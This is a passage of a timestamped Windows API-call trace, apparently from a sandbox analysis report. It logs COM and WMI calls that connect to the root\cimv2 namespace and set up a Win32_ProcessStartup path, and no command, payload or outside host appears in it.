WbemDefPath:IWbemPath:GetInfo (in: This=0x1aa0bb50, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0161.171] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0bb50, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0161.171] WbemDefPath:IWbemPath:GetInfo (in: This=0x1aa0bb50, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0161.171] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e6c8 | out: ppv=0x1bb7e6c8*=0x1a943398) returned 0x0 [0161.171] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e6b8 | out: pAptType=0x1bb7e6b8*=1) returned 0x0 [0161.171] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e6c0 | out: ppvObject=0x1bb7e6c0*=0x0) returned 0x80004002 [0161.171] IUnknown:Release (This=0x1a943398) returned 0x1 [0161.173] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dae0 | out: ppv=0x1bb7dae0*=0x1bcc37a0) returned 0x0 [0161.173] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcc37a0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x0) returned 0x80004002 [0161.173] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bcc37a0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dad8 | out: ppvObject=0x1bb7dad8*=0x1aa0b9d0) returned 0x0 [0161.173] WbemDefPath:IUnknown:Release (This=0x1bcc37a0) returned 0x0 [0161.173] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b9d0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8e8 | out: ppvObject=0x1bb7d8e8*=0x1aa0b9d0) returned 0x0 [0161.173] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b9d0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d990 | out: ppvObject=0x1bb7d990*=0x0) returned 0x80004002 [0161.174] WbemDefPath:IUnknown:AddRef (This=0x1aa0b9d0) returned 0x3 [0161.174] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b9d0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d038 | out: ppvObject=0x1bb7d038*=0x0) returned 0x80004002 [0161.174] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b9d0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cfc0 | out: ppvObject=0x1bb7cfc0*=0x0) returned 0x80004002 [0161.174] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b9d0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cfb0 | out: ppvObject=0x1bb7cfb0*=0x1bcc3540) returned 0x0 [0161.174] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bcc3540, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cfd8 | out: pCid=0x1bb7cfd8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0161.174] WbemDefPath:IUnknown:Release (This=0x1bcc3540) returned 0x3 [0161.174] CoGetContextToken (in: pToken=0x1bb7d060 | out: pToken=0x1bb7d060) returned 0x0 [0161.174] CoGetContextToken (in: pToken=0x1bb7d4e0 | out: pToken=0x1bb7d4e0) returned 0x0 [0161.174] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b9d0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5a0 | out: ppvObject=0x1bb7d5a0*=0x0) returned 0x80004002 [0161.174] WbemDefPath:IUnknown:Release (This=0x1aa0b9d0) returned 0x2 [0161.174] WbemDefPath:IUnknown:Release (This=0x1aa0b9d0) returned 0x1 [0161.174] CoGetContextToken (in: pToken=0x1bb7e300 | out: pToken=0x1bb7e300) returned 0x0 [0161.174] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0161.174] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b9d0, riid=0x1bb7e360*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e330 | out: ppvObject=0x1bb7e330*=0x1aa0b9d0) returned 0x0 [0161.174] WbemDefPath:IUnknown:AddRef (This=0x1aa0b9d0) returned 0x3 [0161.174] WbemDefPath:IUnknown:Release (This=0x1aa0b9d0) returned 0x2 [0161.175] WbemDefPath:IWbemPath:SetText (This=0x1aa0b9d0, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0161.175] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0b9d0, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0161.175] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b9d0, lFlags=2, puBuffLength=0x1bb7e708*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e708*=0x15, pszText=0x0) returned 0x0 [0161.175] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b9d0, lFlags=2, puBuffLength=0x1bb7e708*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1bb7e708*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0161.175] WbemDefPath:IWbemPath:GetInfo (in: This=0x1aa0b9d0, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0161.175] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0b9d0, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0161.175] WbemDefPath:IWbemPath:GetInfo (in: This=0x1aa0b9d0, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0161.175] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0b9d0, puCount=0x1bb7e670 | out: puCount=0x1bb7e670*=0x0) returned 0x0 [0161.175] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f9d0, puCount=0x1bb7e630 | out: puCount=0x1bb7e630*=0x2) returned 0x0 [0161.175] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e628*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e628*=0xf, pszText=0x0) returned 0x0 [0161.175] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e628*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e628*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0161.175] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e588 | out: ppv=0x1bb7e588*=0x1a943398) returned 0x0 [0161.175] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e578 | out: pAptType=0x1bb7e578*=1) returned 0x0 [0161.175] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e580 | out: ppvObject=0x1bb7e580*=0x0) returned 0x80004002 [0161.175] IUnknown:Release (This=0x1a943398) returned 0x1 [0161.177] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d9a0 | out: ppv=0x1bb7d9a0*=0x1bcc37c0) returned 0x0 [0161.177] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcc37c0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d9e8 | out: ppvObject=0x1bb7d9e8*=0x0) returned 0x80004002 [0161.177] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bcc37c0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d998 | out: ppvObject=0x1bb7d998*=0x1aa0b850) returned 0x0 [0161.177] WbemDefPath:IUnknown:Release (This=0x1bcc37c0) returned 0x0 [0161.177] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b850, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d7a8 | out: ppvObject=0x1bb7d7a8*=0x1aa0b850) returned 0x0 [0161.178] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b850, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d850 | out: ppvObject=0x1bb7d850*=0x0) returned 0x80004002 [0161.178] WbemDefPath:IUnknown:AddRef (This=0x1aa0b850) returned 0x3 [0161.178] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b850, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7cef8 | out: ppvObject=0x1bb7cef8*=0x0) returned 0x80004002 [0161.178] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b850, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7ce80 | out: ppvObject=0x1bb7ce80*=0x0) returned 0x80004002 [0161.178] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b850, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ce70 | out: ppvObject=0x1bb7ce70*=0x1bcc4540) returned 0x0 [0161.178] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bcc4540, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce98 | out: pCid=0x1bb7ce98*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0161.178] WbemDefPath:IUnknown:Release (This=0x1bcc4540) returned 0x3 [0161.178] CoGetContextToken (in: pToken=0x1bb7cf20 | out: pToken=0x1bb7cf20) returned 0x0 [0161.178] CoGetContextToken (in: pToken=0x1bb7d3a0 | out: pToken=0x1bb7d3a0) returned 0x0 [0161.178] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b850, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d460 | out: ppvObject=0x1bb7d460*=0x0) returned 0x80004002 [0161.178] WbemDefPath:IUnknown:Release (This=0x1aa0b850) returned 0x2 [0161.178] WbemDefPath:IUnknown:Release (This=0x1aa0b850) returned 0x1 [0161.178] CoGetContextToken (in: pToken=0x1bb7e1c0 | out: pToken=0x1bb7e1c0) returned 0x0 [0161.179] CoGetContextToken (in: pToken=0x1bb7e0c0 | out: pToken=0x1bb7e0c0) returned 0x0 [0161.179] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b850, riid=0x1bb7e220*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e1f0 | out: ppvObject=0x1bb7e1f0*=0x1aa0b850) returned 0x0 [0161.179] WbemDefPath:IUnknown:AddRef (This=0x1aa0b850) returned 0x3 [0161.179] WbemDefPath:IUnknown:Release (This=0x1aa0b850) returned 0x2 [0161.179] WbemDefPath:IWbemPath:SetText (This=0x1aa0b850, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0161.179] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0b850, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0161.179] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b850, lFlags=4, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0161.179] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b850, lFlags=4, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0161.179] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e618 | out: ppv=0x1bb7e618*=0x1a943398) returned 0x0 [0161.179] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e608 | out: pAptType=0x1bb7e608*=1) returned 0x0 [0161.179] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e610 | out: ppvObject=0x1bb7e610*=0x0) returned 0x80004002 [0161.179] IUnknown:Release (This=0x1a943398) returned 0x1 [0161.180] CoGetClassObject (in: rclsid=0x1a9ccf38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dbc0 | out: ppv=0x1bb7dbc0*=0x1bcc3760) returned 0x0 [0161.180] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc3760, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7dc08 | out: ppvObject=0x1bb7dc08*=0x0) returned 0x80004002 [0161.180] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bcc3760, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dbb8 | out: ppvObject=0x1bb7dbb8*=0x1bcc48c0) returned 0x0 [0161.180] WbemLocator:IUnknown:Release (This=0x1bcc3760) returned 0x0 [0161.180] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc48c0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d9c8 | out: ppvObject=0x1bb7d9c8*=0x1bcc48c0) returned 0x0 [0161.181] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc48c0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7da70 | out: ppvObject=0x1bb7da70*=0x0) returned 0x80004002 [0161.181] WbemLocator:IUnknown:AddRef (This=0x1bcc48c0) returned 0x3 [0161.181] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc48c0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d118 | out: ppvObject=0x1bb7d118*=0x0) returned 0x80004002 [0161.181] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc48c0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d0a0 | out: ppvObject=0x1bb7d0a0*=0x0) returned 0x80004002 [0161.181] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc48c0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d090 | out: ppvObject=0x1bb7d090*=0x0) returned 0x80004002 [0161.181] CoGetContextToken (in: pToken=0x1bb7d140 | out: pToken=0x1bb7d140) returned 0x0 [0161.181] CoGetContextToken (in: pToken=0x1bb7d5c0 | out: pToken=0x1bb7d5c0) returned 0x0 [0161.181] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc48c0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d680 | out: ppvObject=0x1bb7d680*=0x0) returned 0x80004002 [0161.181] WbemLocator:IUnknown:Release (This=0x1bcc48c0) returned 0x2 [0161.181] WbemLocator:IUnknown:Release (This=0x1bcc48c0) returned 0x1 [0161.181] CoGetContextToken (in: pToken=0x1bb7e170 | out: pToken=0x1bb7e170) returned 0x0 [0161.181] CoGetContextToken (in: pToken=0x1bb7e070 | out: pToken=0x1bb7e070) returned 0x0 [0161.181] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc48c0, riid=0x1bb7e1d0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1bb7e1a0 | out: ppvObject=0x1bb7e1a0*=0x1bcc48c0) returned 0x0 [0161.181] WbemLocator:IUnknown:AddRef (This=0x1bcc48c0) returned 0x3 [0161.182] WbemLocator:IUnknown:Release (This=0x1bcc48c0) returned 0x2 [0161.182] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0b850, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0161.182] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b850, lFlags=8, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0161.182] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b850, lFlags=8, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0161.182] CoCreateInstance (in: rclsid=0x7fef422b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef422b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1bb7e210 | out: ppv=0x1bb7e210*=0x1bcc4880) returned 0x0 [0161.182] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bcc4880, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1bb7e438 | out: ppNamespace=0x1bb7e438*=0x1bbd9b00) returned 0x0 [0161.387] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbd9b00, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e088 | out: ppvObject=0x1bb7e088*=0x1bbddd00) returned 0x0 [0161.387] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bbddd00, pProxy=0x1bbd9b00, pAuthnSvc=0x1bb7e150, pAuthzSvc=0x1bb7e0d0, pServerPrincName=0x1bb7e100, pAuthnLevel=0x1bb7e0d4, pImpLevel=0x1bb7e0dc, pAuthInfo=0x1bb7e108, pCapabilites=0x1bb7e0d8 | out: pAuthnSvc=0x1bb7e150*=0xa, pAuthzSvc=0x1bb7e0d0*=0x0, pServerPrincName=0x1bb7e100, pAuthnLevel=0x1bb7e0d4*=0x6, pImpLevel=0x1bb7e0dc*=0x2, pAuthInfo=0x1bb7e108, pCapabilites=0x1bb7e0d8*=0x1) returned 0x0 [0161.388] WbemLocator:IUnknown:Release (This=0x1bbddd00) returned 0x1 [0161.388] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbd9b00, riid=0x7fef422aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e020 | out: ppvObject=0x1bb7e020*=0x1bbddd40) returned 0x0 [0161.388] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbd9b00, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e030 | out: ppvObject=0x1bb7e030*=0x1bbddd00) returned 0x0 [0161.388] WbemLocator:IClientSecurity:SetBlanket (This=0x1bbddd00, pProxy=0x1bbd9b00, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0161.388] WbemLocator:IUnknown:Release (This=0x1bbddd00) returned 0x2 [0161.388] WbemLocator:IUnknown:Release (This=0x1bbddd40) returned 0x1 [0161.388] CoTaskMemFree (pv=0x1bc19e30) [0161.388] WbemLocator:IUnknown:AddRef (This=0x1bbd9b00) returned 0x2 [0161.388] WbemLocator:IUnknown:Release (This=0x1bcc4880) returned 0x0 [0161.389] CoGetContextToken (in: pToken=0x1bb7d290 | out: pToken=0x1bb7d290) returned 0x0 [0161.389] CoGetContextToken (in: pToken=0x1bb7d710 | out: pToken=0x1bb7d710) returned 0x0 [0161.389] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbd9b00, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d690 | out: ppvObject=0x1bb7d690*=0x1bbddd10) returned 0x0 [0161.389] WbemLocator:IRpcOptions:Query (in: This=0x1bbddd10, pPrx=0x1bcc4a80, dwProperty=2, pdwValue=0x1bb7d7c0 | out: pdwValue=0x1bb7d7c0) returned 0x80004002 [0161.389] WbemLocator:IUnknown:Release (This=0x1bbddd10) returned 0x2 [0161.389] CoGetContextToken (in: pToken=0x1bb7dde0 | out: pToken=0x1bb7dde0) returned 0x0 [0161.389] CoGetContextToken (in: pToken=0x1bb7dce0 | out: pToken=0x1bb7dce0) returned 0x0 [0161.389] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbd9b00, riid=0x1bb7de40*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1bb7dc60 | out: ppvObject=0x1bb7dc60*=0x1bbd9b00) returned 0x0 [0161.389] WbemLocator:IUnknown:Release (This=0x1bbd9b00) returned 0x2 [0161.389] SysStringLen (param_1=0x0) returned 0x0 [0161.389] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b9d0, lFlags=2, puBuffLength=0x1bb7e678*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e678*=0x15, pszText=0x0) returned 0x0 [0161.390] 